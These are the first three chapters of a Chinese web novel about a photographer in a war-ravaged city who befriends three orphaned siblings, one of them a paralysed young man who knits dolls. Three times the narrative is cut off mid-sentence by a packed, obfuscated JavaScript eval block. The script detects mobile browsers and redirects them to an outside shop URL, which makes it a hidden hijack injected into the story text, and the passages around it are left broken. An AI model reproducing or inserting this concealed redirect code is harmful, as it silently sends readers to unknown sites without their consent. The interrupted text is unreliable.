《风吹塔勒街》 1. 十二只玩偶 国内暴雨,晚点十六个小时后,秦穗终于登机。 被广播叫醒时,她正蜷在候机厅的休息椅上,碎发遮住半张脸,双手攥着相机包,肩膀因为长时间保持同一个姿势,僵得有些发麻。 她慢慢睁开眼。 视线里,行人步履不停。远处寥寥几个人已经排起了队,登机口的灯亮着,像一枚悬在深夜里的小小冷月。 秦穗站起来,跺了跺麻木的脚,带着行李往前走。 半小时后,舱门缓缓关闭。 这架波音787呼啸着刺透密云,万米高空上,光线由暗渐明。长夜像风沙一样一层层褪去,地平线缓慢托举出一抹沁目的橘金。 九小时后,飞机落地普斯卡机场。 这片土地正值酷夏。 热气从廊桥深处扑过来,带着某种干燥、粗粝、避无可避的气味。秦穗刚走下飞机,就已经难以忍受,脱掉外面的工装外套,衬衣袖口卷到手肘。 碎发黏在脖颈边,汗意沿着皮肤慢慢往下淌。 这里还不是她的目的地。 她真正要去的那座城市,机场已经在三年前被完全炸毁。她只能降落在邻国,再坐汽车到边境,从海关入境。 新闻里的现场播报还留在记忆里。 废墟里燃着火,烈焰映在人的瞳孔里。镜头被奔跑的人撞得不停晃动,哭声、警笛声、爆炸后的烟尘混在一起,像某种被撕开的夜。 可那里曾经很美。 三年前,秦穗在那里看过海边的落日。 那时海风是热的,沙滩柔软,夕阳像普罗米修斯手中那簇火,把整片天空都浸成浓烈的金红。她的前夫站在落日下,手里举着花和戒指,眼睛里盛着两团明亮到近乎滚烫的光。 他说:“秦穗,嫁给我好吗?” 她那时真的以为,前半生的奔波拍摄,终于可以找到一个长久停靠的港湾,像一个小小的锚,勾住她漂泊的心。 戒指戴上来的时候,三克拉的海瑞温斯顿贴合她的手指,冷而沉,像恰好填补了她心里某处久违的空缺。 后来才知道,很多东西只是看起来完整。 两个月后,他们举行了婚礼。 再后来,朋友把照片发给她时,她正在雪山出差拍摄。 照片里,她的丈夫在酒吧里吻着另一个女人。灯光昏暗,他侧脸陶醉,明明还是那张脸,却让她无比陌生。 秦穗盯着那张照片看了很久。 雪山终年风雪不停,她的手被冻得通红,麻木到几乎控制不住。僵直的手指划过屏幕,她想打电话,手机却从掌心滑出去,直直坠入深渊。 风刮得她眼眶骨生疼。 可她连眼泪都流不出来。 三个月后,她独自踏上了这片土地。 她对外说,是来记录战争,拍一些照片,呼吁和平。 这话不假。 但也不全是真。 出了机场,她随着人流艰难往外走,一路寻着字迹歪斜的指示牌上了大巴。 路况很差。几个当地男人坐在后排,睨着眼打量她,晦涩的交谈声像某种低沉的经文。司机昏昏欲睡地踩着油门,车身在坑洼路面上颠簸前行。 秦穗紧了紧胸前的背包。 包里的相机硌着她的心口。 窗外,是一路向后退去的墟土、断墙、焦黑的树干。偶尔有孩子赤脚走过路边,拎着空水桶,脸被太阳晒得发红,却不说话。 到达边境时,天已经昏暗。 护照递出去,被翻了又翻。窗口后的高大男人终于抬起头,帽檐阴影压住他的眼眶,凹陷的眶骨像某处塌陷的岩穴。 再次走出海关时,月亮已经挂上天边。 秦穗低头看了眼手机。 七点零九分。 几乎只是分神的几秒钟,身边便挤上来三两个当地男人。 “Car?Car?” 他们用蹩脚的英文问她,目光黏在她的行李、相机包和陌生的脸上。 秦穗皱眉拒绝了。 她订的旅馆离这里不算远,步行十分钟就能到。 行李放好后,她带着相机出了门。 太久没吃东西,胃里空得发痛。楼下有一条街,她只想买点速食,对付过这一晚。 天几乎完全黑了。 像压了一层沉重的铁布。 街道边是散乱的摊贩和铁皮屋棚,燃油的刺鼻气味混着灰土味。小巷里传来争执声和孩子的哭叫,远处有人举着喇叭喊着什么,声音被风吹得支离破碎。 秦穗把背包带子拽紧,快步穿过马路。 这里的夜晚并不安全。 她正要拐进一家还亮着灯的小店,路边忽然响起一个稚嫩的声音。 那声音说着当地话,很轻,又很努力,像怕错过最后一个愿意停下来的路人。 秦穗顺着声音看过去。 一个约莫十岁的小男孩蹲在路边。 皮肤晒得发黑,眼睛却很亮,头发卷卷的,胳膊上挂着几串五彩的毛线编绳和手环。旁边放着一个竹编的背篓,里面装着一些针织的小玩偶。 他穿着一件洗得发白的条纹衬衫。 旧,却很干净。 见秦穗看过来,他脸上立刻挂起笑,两个小小的酒窝陷下去,朝她挥了挥手。 秦穗听不懂他的意思,只能用英文说:“Sorry。” 她准备离开。 男孩愣了一下,像是很快意识到她不是本地人,随即换成英文,慢慢开口: “你需要它们吗?都是手工做的。” 秦穗脚步停住。 他的英文发音很标准,好过她今天遇到的好几个成年人。 她蹲下来,拿起背篓里一只针织小鸟端详。 针脚不算完全整齐,却很密。线头收得很认真,翅膀有一点歪,反而显得笨拙可爱。 “你会说英语?” “我爸爸教我的。”男孩回答得很快,手指拨弄着竹篓边缘,“他以前是英语老师。” 秦穗看着他的手。 手很小,指甲边缘有灰,袖口却洗得干干净净。 “这些是你做的吗?” 男孩摇头。 “不是。” 他说:“是我哥哥织的。” 秦穗微微一怔。 “你哥哥?” 男孩点头,眼睫低下去一点。 “他出不来。” 夜风从街口吹过来,带起一点尘土。背篓里的小玩偶轻轻晃了晃,那只针织小鸟在她指间忽然变得很轻,也很重。 秦穗没有立刻问下去。 男孩的手指抠着竹篓边缘,过了片刻,自己又补了一句: “爆炸以后,他就一直坐着。” 那句话落得很轻。 像一颗小石子,掉进一口太深的井里,听不见回声。 秦穗低头看着那些玩偶。 小兔子,小鸟,小羊,几只看不出是什么的动物,颜色很鲜艳。它们被摆在竹篓里,像这条灰扑扑街道上某种不合时宜的春天。 “多少钱一只?”她问。 “五尤尼尔。” 男孩说完,立刻小心地观察她的脸色。看见秦穗皱眉,又以为她嫌贵,赶紧改口: “不……不,三尤尼尔也可以。” 他说完垂下头,轻轻咬住嘴唇,像已经做好了被拒绝的准备。 秦穗看了一眼他瘦瘦的胳膊。 又看见他鞋边磨开的破洞。 五尤尼尔。 还不到一块钱人民币。 “我都要了。”她说。 男孩猛地抬起头。 “真、真的吗?” 他的声音有一点结巴,眼睛睁得很大,像怕自己听错。 “有十二只……你确定都要吗?” “确定。” 秦穗把背篓里的玩偶一只只整理好。 “五尤尼尔一只,你数一数。” 男孩愣了好一会儿,才低头去数。 一只,两只,三只。 数到最后,他的手指都有点抖。 秦穗把钱递到他掌心里。 男孩攥着那几张纸币,像攥着一件太不真实的事。他打开一个已经开线的钱包,把钱小心叠好,塞进去,又反复按了按。 “谢谢,谢谢你。”他说,“希望你的朋友们会喜欢。” 秦穗看着他认真到近乎郑重的神情,轻声说: “会的。你哥哥织得很好。” 男孩的眼睛亮起来。 “哥哥听到一定会很高兴。” 他顿了顿,又问:“你来自哪里?” “中国。” “中国?” 男孩微微睁大眼,像听见了一个很远、又很美的词。 “我爸爸很喜欢中国。”他说,“他常说,那个国家很安宁,很和平,很美丽。他很想去看一看。” 尾音轻轻落下去。 像被风吹散。 秦穗很快低了低头,指尖捏紧了玩偶边缘。 “你爸爸说得对。”她说,“那里很美,没有战争。” 男孩笑了。 两个酒窝忽隐忽现。 “长大,我也要带哥哥和妹妹去那里。”他说,“在那里一定会很幸福,也许哥哥的病也可以治好。” 秦穗没有纠正他。 她只是问:“你叫什么名字?” “Asad。” “秦穗。”她说。 男孩认真跟着念了一遍:“QinSui。” 发音有些生涩,却记得很用力。 夜色已经越来越沉。 街上的店铺陆续关门,铁门拉下去,发出刺耳的摩擦声。 秦穗站起来,接过那只装满玩偶的背篓,看向他。 “很高兴认识你,Asad。不过已经很晚了,你该回家了。” Asad也跟着站起来,拍了拍裤子上的灰。 他个子不高,比同龄孩子矮了半头。 “我家不远。”他往前面指了一个方向,“就在前面那条街。我要回家做饭了,哥哥和妹妹还没有吃饭。” 秦穗动作一顿。 “你也还没吃?” Asad有些局促地低下头,脚尖踢了踢路边的小石子。 “我吃过午饭。”他说,“这几天一只都没有卖出去,所以今天想再卖一会儿。” “家里只有你做饭吗?” “哥哥够不到做饭的地方。”他说得很轻,“妹妹太小了。” 像这不是什么值得难过的事。 只是他们家日复一日的安排。 “晚上不煮饭的。”他又补充,“就前几天剩下的饼,热一下就可以吃。” 秦穗看向街边。 还有一家卖卷饼的小店亮着灯,门口挂着旧风扇,转得很慢,吹不散空气里的热和灰。 她指了指那边。 “我买几个,你带回去给哥哥和妹妹,好吗?” Asad的眼睛一下子亮起来。 那种光亮太明显,几乎像被点燃的小灯泡。 “真的吗?谢谢你,Qi ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588078|205370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' n……QinSui。” 一个卷饼二十五尤尼尔。 秦穗付了一百尤尼尔。 Asad站在旁边,睁大眼睛看着店主把四个热卷饼装进纸袋里,忽然小声说: “哥哥要织多久,才能织出四个饼的钱啊。” 秦穗勉强笑了笑。 她从袋子里拿出一个,剩下的递给他。 “你哥哥织得很棒。”她说,“我觉得他织一只玩偶,就可以换好几个饼。” Asad弯着眼睛笑起来,露出两颗尖尖的小虎牙。 “哥哥听到一定会很高兴。” 说完,他又小心地问:“你愿意去我家做客吗?哥哥会欢迎你的。” 秦穗看向外面漆黑的街道。 又看了看眼前这个抱着纸袋的小男孩。 她不放心他一个人回去。 也说不清自己为什么没有立刻拒绝。 也许是那只小鸟玩偶太轻。 也许是他说“哥哥出不来”时,眼睛低下去的样子太安静。 也许是她走了太久,终于在这一条陌生的街上,被一个孩子轻轻拉住。 她最终点了点头。 “我送你回家。” Asad几乎立刻笑起来。 他走过来挽住她的手臂,亲昵地轻轻蹭了蹭。 秦穗怔了一下。 没有抽开。 他们穿过狭窄的街道。 地上的尘土混着垃圾的酸味直冲鼻腔。这里的房子几乎都有不同程度的破损,有些墙面嵌着漆黑的弹孔,丑陋又狰狞。巷子里的灯断断续续,几个男人坐在台阶上抽烟,用审视的眼神看着他们一大一小走过。 Asad把纸袋抱在怀里。 像抱着一个刚刚得到的好消息。 “前面就到我家了。” 他的声音里有些压不住的兴奋。 走到门前时,Asad忽然停住脚步。 秦穗也跟着停下。 门是开着的。 一个五岁左右的小女孩蹲在门口画画,头发卷卷的,脸颊还有一点婴儿肥。她手里握着粉笔,听见动静抬起头,眼睛亮晶晶的,看上去又开心,又有些焦急。 “Stella!” Asad快步跑过去抱住妹妹,用当地话低声问了几句,语速很快。 妹妹委屈地解释着什么,胖乎乎的手轻轻锤着哥哥的背。 Asad听完,像是松了口气。 他牵着妹妹来到秦穗身边。 “我回来晚了,哥哥担心。”他低声解释,“他没有办法出去找我,只能让妹妹把门开着,在门口等我。这样哥哥在屋里可以看见她。” 秦穗看向那扇敞开的门。 门内光线很暗。 她没有立刻往里走。 Stella这时才看见她。见她长得和这里的人不一样,立刻缩到哥哥身后,葡萄一样的眼睛怯怯地望着她。 Asad捏紧妹妹的小手。 “别怕。她是QinSui。”他说,“她买了所有玩偶,还给你买了饼。” 他晃了晃手里的袋子。 Stella的眼睛瞬间亮了。 小手抱住袋子,几乎不肯撒开。 Asad撕开其中一个卷饼,仔细递给妹妹。 秦穗站在旁边看着他们俩,嘴角勾起一个温柔的弧度。 她稍微看了一下这栋房子,似乎比周围几户都破败些,墙体焦黑,窗户没了玻璃,残存的墙缝里塞着棉布和塑料板防风。不过下面的墙壁上画了一些五彩的简笔画,一看就是妹妹的作品,与被火烧过的墙壁形成一种近乎悲戚的对比。 大门没关,她下意识地往屋内扫了一眼。 屋内有些简朴但大体干净,只有简单的家具。 一个瘦弱白净的青年半靠在沙发上,身后被一些洗得褪色的垫子撑着,腿上的毛毯上打了五颜六色的补丁,有些焦急地微微伸着头往门外张望,他坐得有些歪斜,似乎不太能保持平衡,细瘦的手臂勉力撑着沙发,整个身体都往□□着,看起来摇摇欲坠,像一株易折的芦苇。 青年显然也看见了秦穗,深邃的眼睛微微一愣。 秦穗回过头,轻轻拍了拍Asad,“带妹妹进屋去吧,你哥哥在里面等着急了。” Asad点点头,扭头冲她招招手,“请在门口等一下,我跟哥哥说。” 他拉着妹妹蹬蹬蹬地跑了进去,屋内传来几句低低的交谈,是当地语言。 秦穗听不懂,但从声音的语调能听出一点点惊讶,像是哥哥在轻声问,为什么带了人回来;小男孩则像在努力解释,说对方不是坏人,很友善,是个游客,买了他的编织品,还愿意来看看。 过了半分钟,Asad跑回来,脸上带着笑,靠着门框对她点点头:“可以了,哥哥说你可以进来。” 她点头走了进去,空气里有淡淡的木头和旧棉布的味道,还有一丝若有若无的药味,墙角堆着一些编织线团,还有一个破旧的金属茶壶。昏黄的灯泡挂在天花板上,没有灯罩,光线落在角落里那个半倚在沙发上的人身上。 青年听见脚步声,缓慢抬起头。 他眼神清澈却带点惊惶,像是还是没完全接受弟弟带了个异国女人回来。他下意识撑了一下沙发,但身体无力,仅仅是肩胛骨轻微动了动,便停住了。他望向她,一瞬间的戒备退去,只剩下微微发窘的局促。 “你好”,他用英语开口,声音细弱而干净,带着一点鼻音,“谢谢你买我的编织品,我叫Mirek。” 2. 小鸟挂坠 他努力对她笑了笑,轻柔地像一片羽毛,随后又有些局促地垂下了头,跟弟弟一样,他也有两颗小小的梨涡。 他轻声补充:“抱歉……家里……比较简陋,没有什么好招待的。” 秦穗也冲他温和地笑笑:“没关系,我叫秦穗,你的玩偶做的很好很精致,我才会买的,不用客气。” Mirek小幅地笑了下,像是松了一口气,又带着一点说不出的难堪。他不太擅长在陌生人面前说话,尤其是一个异国女人。即便对方看起来温和沉静,也仍旧让他有些紧张。他不知道自己的眼神该往哪放,于是轻轻地偏了下头,又垂下了眼睛 妹妹已经蹲在角落的小地毯上,咬了一大口飞快地嚼起来,她吃得有些急,嘴角粘着些酱汁。她一边吃,一边偷偷打量秦穗,像是慢慢接受了她不是坏人。 Asad从袋子里再拿出一块,同样撕开了包装袋,递给他“哥哥吃点吧,这是她给我们买的,你晚上还没吃饭呢。” Mirek怔了一下,连忙转头,礼貌又笨拙地道谢,然后微微欠了欠身,试图接过那块饼。 他抬手时动作极慢,小心翼翼。他的手指有些僵硬,食指和拇指无法准确对齐,只能半靠着手掌边缘夹住饼,小心地转了个角度,再慢慢抬高,送到嘴边。因为身体支撑力不足,动作不太稳定,整个人有些侧歪。他只咬了一小口,明显是在尽量吃得安静,不失礼。 他的睫毛很长,低头时几乎盖住了眼睛。五官柔和,脸颊没什么血色。身子靠着垫子,稍微动一动上身都会轻微晃一下,显得脆弱得惊人。 才吃了一小口他就顿住了,小幅地停了一下,有些尴尬地看了秦穗一眼,苍白的耳根有些微微发红:“抱歉…我吃饭的样子,可能有点…不太好看...” 秦穗听见他这句低低的话,轻轻“嗯”了一声,没有笑他,也没有附和,只是静静地拿起自己的那份,撕开包装,慢慢吃了一口。 她也吃了,像是在用行动告诉他,这只是吃饭,不需要对谁道歉。 Asad看着她,又看了看哥哥,像是松了一口气,搬了一个小凳子过来,让她坐着。 四个人一圈坐着,像是临时拼起的小世界。沙发、地毯、破旧的木凳。 饼已经快吃完了。 Stella小手在包装纸外捏了又捏,像是在找最后一块碎渣,她吃得很认真,嘴角沾着一星半点的酱渍也没擦,就那么看着哥哥,像一只刚喂饱的小猫,满足又安心。 屋子安静下来,只剩下包装纸的窸窣声和远处传来的犬吠。 Mirek咽下最后一口,手垂在膝上,目光在秦穗身上轻轻停顿了一下,似乎犹豫着要不要说些什么。最终,他还是先开了口: “你……是旅行者吗?” 他的声音轻轻的,很软,像落在地毯上的灰,带着不自信的小心翼翼。眼神清澈,语气却仿佛怕她误会什么。 秦穗点了点头:“嗯,其实…是一个人过来的。” Mirek抿了下嘴,没说话,神情看不出什么情绪,只是垂着眼睫,像是默默消化着她的这句“一个人”。他手掌不自觉地收了收,却因为动作太小,又被沙发软垫吸收了力量,连一点声响都没发出。 “你是……”他顿了顿,思考措辞,“摄影师?” 秦穗一愣,低头看了一眼身侧的摄影包,笑了一下。“算是吧,喜欢拍点东西。” 她打开包拉链,掏出相机,镜头上还罩着防尘盖。 “你想拍我们?”Asad突然问,小脸有点紧张地瞥了瞥哥哥,又看看妹妹,像是在担心什么。 “不一定。”秦穗笑了笑,“我只是习惯带着它。看到什么,就拍什么。不是为了工作。” 她没有急着举起相机,只是平放在膝盖上,像是一个没有恶意的旅人,恰巧走到了他们的小世界,带来一点远方的风声而已。 Mirek看着那台相机,眼睛里慢慢浮出一点温和的亮意。 “你拍……战后的城市?” “也有。”秦穗语气淡淡的,“也拍人,拍手拍眼睛,拍笑和哭。拍一些……不会再出现的东西。” Mirek低下头轻轻点了点。 秦穗看了他一眼,犹豫了一下,还是开了口:“刚才……你吃东西的时候,你的手,好像不太方便。” Mirek一怔,没有立刻回答。他似乎有些难为情,下意识地握了握那只瘦弱的手指,却几乎无法收拢,只能堪堪包住掌心。 他垂着头,过了好一会才缓慢地说:“那场爆炸后……我醒来时,医生说…脊柱…已经…” 他说得很轻,没有继续,也没有具体形容哪个部位,哪个节段,只是用一种几乎抽离的语气,将这个决定命运的词语扔了出来。 “但还可以编点东西。”他像是想缓和气氛,又笑了下,“我可以用手掌…大拇指还算听话,虽然比较慢...”他说着,睫毛低垂下去。 “你是怎么学会织这些的?” “是以前妈妈教的,小时候不愿意学,但她坚持,后来...只能靠它了。” 他轻轻扯出一个笑,眼神干净,再次向她道谢,“谢谢你买了这么多,我们已经...很久没有一次性卖出那么多了。” Mirek垂着眼,细白的指尖在膝头的毛毯上轻轻揉着,像是在寻找某种微小的力量。片刻后,他缓缓地侧过身,试图够到身旁那个褪色的布口袋。他的动作极慢,手腕偏斜,指尖在布料边缘反复蹭了几下才勾住袋口。 袋子被拖近了些,他没出声,只是小幅度地喘了一口,用掌根夹着一个编织的挂坠递了过来,是几股淡褐色与墨蓝色的线绳编织而成,形状像是一只小鸟,纹理略显粗糙,结尾还歪着一个小结。 “这个送你。”他说,声音比刚才更轻,“不是新的……但我做得还算好,在我们这里...这种图案可以保平安...” 他把挂坠放在茶几一角,自己不能够到她的位置,但眼神落得很准,那是一种不愿失礼,却又力不能及的姿态。 秦穗没有立刻接过去,而是低头看了看那挂坠。是类似小鸟形状的图腾,线色温和,编得不完美,但很稳。她伸手轻轻拾起,说:“我会带着它。谢谢你。” 他微微笑笑,似乎松了口气,有些吃力地将身子靠回沙发里,手指因为刚刚的用力细细密密的颤抖,刚靠回去他的身体有些微微下滑,他慢慢用肩膀支撑住,再缓一缓地调整回来,咬着牙不让人看出他的难堪。 秦穗看着这一切,意识到他似乎已经很累了。她将相机放回摄影包里,拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可以啊,”她说,“明天还来找你们玩。” 弟弟小小地笑了一下,眼睛眯成一道细缝。 Asad站在巷口朝她挥了挥手,快步转身跑进风里。巷口的光暗下来,只剩街角那盏昏黄的灯。 她没有立刻离开,而是顺着刚才来的方向,又慢慢折回几步。风把灰扑扑的沙土刮上眼帘。 她停住脚步,举起相机。 没有调整角度,没有变焦,只是轻轻一按,拍下了今天的唯一一张照片。 镜头里,是一堵灰扑扑的水泥墙。墙面斑驳,靠近门口一侧还有火灼过的痕迹,像干裂的旧皮肤。最下方贴着塑料布,风吹得猎猎响。 而那片墙的中间,却画着五颜六色的一排图案。涂得不整齐,线条跳动,歪歪扭扭。 一条橘色的小鱼,旁边画着三颗蓝星星。更右边,是三个人手牵手的涂鸦:一个高的,一个小的,一个坐着,他们头顶都顶着笑脸,像谁教过她“这是一家人”。 她低头关掉相机,收起背带,没再回头。 风从废墟尽头吹来,挎包上的那只小鸟旋着转了几个圈。 3. 第一张合照 第二天,她起得很早,沿着破败的街道慢慢探寻。 风从破旧砖墙的罅隙里穿过,带着土味和铁锈味。街面上人不多,都是本地人。她背着摄影包,阳光从缝隙中落下,像沉默的钉子,一排一排打在街道上。 有个老妇人蹲在街角,把一块破布摊在地上,卖的是几把铁勺,旧纽扣和三块皱巴巴的肥皂,她低着头,专注地只用长满老年斑的手压顺破布的边缘。 几个男孩骑在水泥墩上,一人手里拎着一只没有气的皮球。他们说话很快,像在争吵,又像在商量什么。一个孩子注意到她了,眯着眼看着这个不属于这里的陌生面孔,然后飞快地转过头去。 风很干,把街角一摞报纸刮起来几页。她侧头看了一眼,那些字母印得斑驳,看不懂是哪国文字,也看不清上面的日期。 一路前行,清晨的阳光灰白而淡薄,从城市边缘烧毁的屋檐间穿透进来,照在半塌的石阶与尘土上。秦穗沿着街巷缓慢地走,鞋底碾过细碎的瓦砾,直到在那扇门前停下。 她抬手敲门。 不多时,屋里传来哒哒的脚步声,一个小男孩带着洗涤剂的香味从屋子深处小跑出来,手上还残着湿意,领口微微打湿。 看到她,Asad的眼睛亮了一下,喘了口气,随后扬起一个大大的笑脸,侧过身让出位置。 “早上好,Qin。” “早。”秦穗揉了揉他细软的头发进了屋。 屋子里弥散着潮湿与肥皂水的气味,空气中飘着些许锅碗碰撞的回音。厨房的门虚掩着,洗碗槽边水还在滴答。 妹妹坐在小毯子上,捧着一只破损的瓷碗,用指尖抠着粘在碗边的蛋渣,一边吃一边皱着眉头,嘴角沾了些面包屑,小声嘟囔什么。她头发蓬松,穿着有点褪色的小睡裙,像刚睡醒不久。 Mirek靠在屋角的沙发上,低着头,手里轻轻拨着一团毛线,他指尖小心地一寸寸理着,像在拆开什么细小的结。那双手骨节分明,皮肤近乎透明,指尖微微蜷着,像是不太听使唤。毛线不听话地滚下,他用食指和中指并着,试图将那团毛线重新圈拢。指腹贴了上去,勾了勾,却没能带动什么。毛线滑了一下,没有顺从地收拢,反而散开更多。他停住,低头看了一眼,指头不动,像是有些困倦地搭在那里。 似乎是一个姿势太久了有些不太舒服,他背有些弓着,身子也有些向右歪斜,腰身没法稳住。右腿向外侧滑了些,左脚蹬在地毯边缘,没有动。灰布裤皱着贴在膝盖上,布料垂下来,压住他僵着的脚踝。 他轻轻皱了皱眉,肩膀动了动,然后慢慢把头仰起来,像是在活动那一段僵住的脖子。脖子仰得不高,动作有点慢,也有点小心,仿佛怕牵扯到什么。睫毛垂下来,在眼下落出一片细影。脖颈那一段线条瘦得明显,皮肤在光底下显出点苍白的青。 低下头的时候,眼睛刚一睁开,便正对上门口的秦穗。 秦穗逆着光站着,肩膀和发梢都沾了点亮,轻轻笑了一下,“早上好。” Mirek像是怔了一下,似乎没料到她会这么早来,他微微眯起眼,睫毛颤动,有些局促不安。 他低头,轻轻把那团毛线拢了一下,细弱的指节蜷得更紧了些,似乎想把双手藏起来,耳廓有些红,声音带着些迟疑:“你…来得挺早。” 他抿了一下唇,像是想笑,又没笑出来,只轻轻咳了一声,抬眼看她:“抱歉...刚刚…我有些狼狈...” 她微微一愣,随即轻笑了一下,声音不高,却很真诚:“你认真的样子,其实挺好看的。” 他说不出话来,只是偏开一点视线,似乎还没能完全放松,但耳根却又红了一层。他手指还搭在毛线团上,蜷曲的指节倒是微微松开了一点,倒像是认真听她在说话。 她走近两步,在沙发旁边的小凳上坐下来,语气很平稳“我刚刚在门口看你,只是觉得你很专注,所以才没有好意思打断你。” 他轻轻“嗯”了一声,像是终于松了口气,眼神也柔和些了。沙发上的灰色毛线被他缓缓绕回掌心,他没再动,只是顺着她的话慢慢接了下去。 “昨天Asad很快就回来了,你住得不远对吗?” 说完这句,他抬眼看了她一下,又马上低下去,像是迟疑了一瞬才继续,“你以前…就住那一带吗?” 她笑了一下,“不是,我昨天才来到这...在那边短租了一间公寓,离你们家大概十分钟的路程。” 屋子里安静了片刻,他有些愣住了,思考了一会,小声地问“你第一次来这里吗?”像是斟酌着措辞,嗓音很轻,“这里…现在挺破败的,以前的街被炸掉了好几条…路边的树也烧得差不多。” 她看了他一眼,轻声说:“几年前来过,和平的时候。” 他顿了顿,像是怕自己说得太直白,不好意思似的垂了下头,“那你…为什么还愿意来?” 秦穗沉默了一会,像是在斟酌语言,语气平静:“想记录下些什么,我曾经拍过这里的海,这里的落日,这里的街道,这座城市曾经很美,所以,即使它现在变成了这样,我也愿意重新踏上这片土地。” 说完,室内短暂沉静下来。 Mirek微微抬起头,望着她有些失神,像没想到,会有人在这样的时刻,这样的地方,还愿意说出“美”这个词。 他迟疑了一下,嗓音带着一点小心翼翼的语气:“你…还有之前的照片吗?”他停顿了下,才又轻声说:“可以给我看看吗?我…我想看看这里…没有被摧毁的样子。” 秦穗几乎没有犹豫“当然可以。” 她从包里取出手机,低头翻找相册的动作很安静。 屏幕亮起时,照片一张一张地滑过,她指尖在屏幕上缓慢滑动,像在翻阅一段被尘封的记忆。 Asad不知道从哪里冒了出来,他刚洗完碗,手上还沾着湿漉漉的水汽,好奇地探头“你在看什么,Qin?” “她说,她拍过这里的海…还有落日,现在在找照片。”Mirek偏过头,有些苦涩地补充“没有战争的时候。” Asad眼睛一亮,兴奋地说:“真的吗?我也想看看!”说着已经俯下身坐到了哥哥旁边,一边还回头朝厨房的方向喊了一声,“Stella你过来!我们要看照片了!” Stella还坐在小毯子上,嘴角挂着面包屑,听到哥哥的叫声抬起头,有点迷糊地“嗯”了一声。她抱着那个破损的小瓷碗站起来,跌跌撞撞地走了过来,小脚踩在地毯上发出轻轻的响声。 把手机递过去的时候,Mirek轻轻动了动上半身,似乎是想挪近些,动作笨拙,细白脖子探了一下,瘦弱的身体却难以前倾。沙发太软了些,他背后没地方借力,整个人靠着靠着,有点滑下去,他试着抬手,指节轻轻动着,像要扶,但没有地方可扶。 Asad察觉到了,他有着这个年龄男孩子不该有的敏感。 他没有多说话,只是很自然地往哥哥那边挪了挪,靠近了一点,用肩膀轻轻抵住Mirek的侧背,让他有了一些支撑。 照片递到他们面前。 是几年前的街角,日头低垂,光线温暖而模糊,建筑的轮廓还没有被炮火撕开,远处有人影在散步,店铺门口挂着招牌,风吹得轻飘飘的。 他们几个安静地看着。 Asad盯着那张照片看了好久,然后低声说:“这里好像是我们以前买冰淇淋的地方,对吧?” Mirek点了点头,声音很轻:“是。那家店的名字叫‘Tala’…意思是月亮。” Stella凑得更近了些,小手指碰了碰屏幕:“红色的……” 她皱着很小的眉,像是从很远的地方捞出一点碎片,“哥哥……抱过我吗?” Mirek轻轻点头:“嗯。那天我抱你看喷泉。 她说着自己就笑了,小小的,像是突然从模糊记忆里抓住了什么。 秦穗没有插话,她只是静静地坐在他们身旁,看着屏幕,偶尔轻轻往下滑动。 照片从街道换到了港口、屋顶、夜晚的市场,人群的背影、模糊的灯光、斑驳的墙面上写着什么已经看不清的涂鸦。每一张都像是过去生活的一块碎片,亮着、热着,又离现在很远了。 Mirek不再说话,他的眼睛一直看着,神情没有起伏,但从头到尾都没有移开。他像是怕自己漏掉什么,又像是用尽力气,在把这些画面牢牢记住。 过了很久,他轻声说:“谢谢你。” Asad还在盯着屏幕看。他没有立刻说话,像是在消化什么。过了一会儿,他慢慢开口,声音有点低:“我都快忘记这些地方原来是什么样子了。” 他咬了咬下唇,又补了一句:“以前街上是有灯的,还有很多人…现在晚上都没有灯了很黑。” Stella歪着头,听着他们说话,也没出声,只是下意识地把手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦穗站起来,调整好相机的角度。 “坐近一点。”她温声说。 Asad就侧了身,把肩贴到哥哥身侧,很自然地把手搭在他椅背后头。Stella也不说话,只是乖乖地坐在另一边,把头靠在哥哥的手肘处,小小的脸蛋藏在他袖子边上。 Mirek努力地往上撑了一点身子,把自己从软塌塌的坐姿里撑得稍微挺直。那动作不大,但已经用了不少力气。手臂微微颤着,还是稳住了。 咔嚓一声,那一刻被永远地定格。 镜头里,Mirek坐在中间,身形削瘦,肤色苍白。努力挺直着背,却仍显得单薄,他身体被弟弟支撑,瘦弱的肩膀更靠□□斜,穿着一件浅色的亚麻衬衫,领口微敞,锁骨微微突出。头发柔软而有些凌乱,被阳光一照,发尾泛着微微的金光。他的睫毛很长,浓密微卷,脸上带着一丝局促的笑意。 Asad坐在他右边,肩膀贴紧哥哥,笑得很灿烂。棕色的卷发在光下泛着暖色,像是被阳光刻出的标记。他穿着一件洗得有些旧的印花T恤,和打着好几个补丁的运动裤,裤腿卷起来,膝盖上还有摔破后没好全的伤痕。脚上蹬着旧球鞋,鞋边已经磨破,他依然对着镜头笑着,两个小小的酒窝深深陷着。 Stella坐在哥哥的左边,小胳膊小腿都裸着,穿着一条皱巴巴的浅色背心裙。她乖乖地把头靠在哥哥胳膊边上,一只手抱着哥哥的手肘,另一只拽着自己的裙摆。脸蛋红红的,带着点婴儿肥,两只圆圆的眼睛朝镜头望着,有点紧张,又有点依恋。 “拍的很好,你们的动作都很自然。”秦穗笑着把相机递过去。 Mirek安静地看着,没有说话。他的睫毛轻轻动了一下,细白蜷缩的指节慢慢收了收。那一瞬间,他像是被什么击中似的,浅浅的,克制着,却也藏不住。 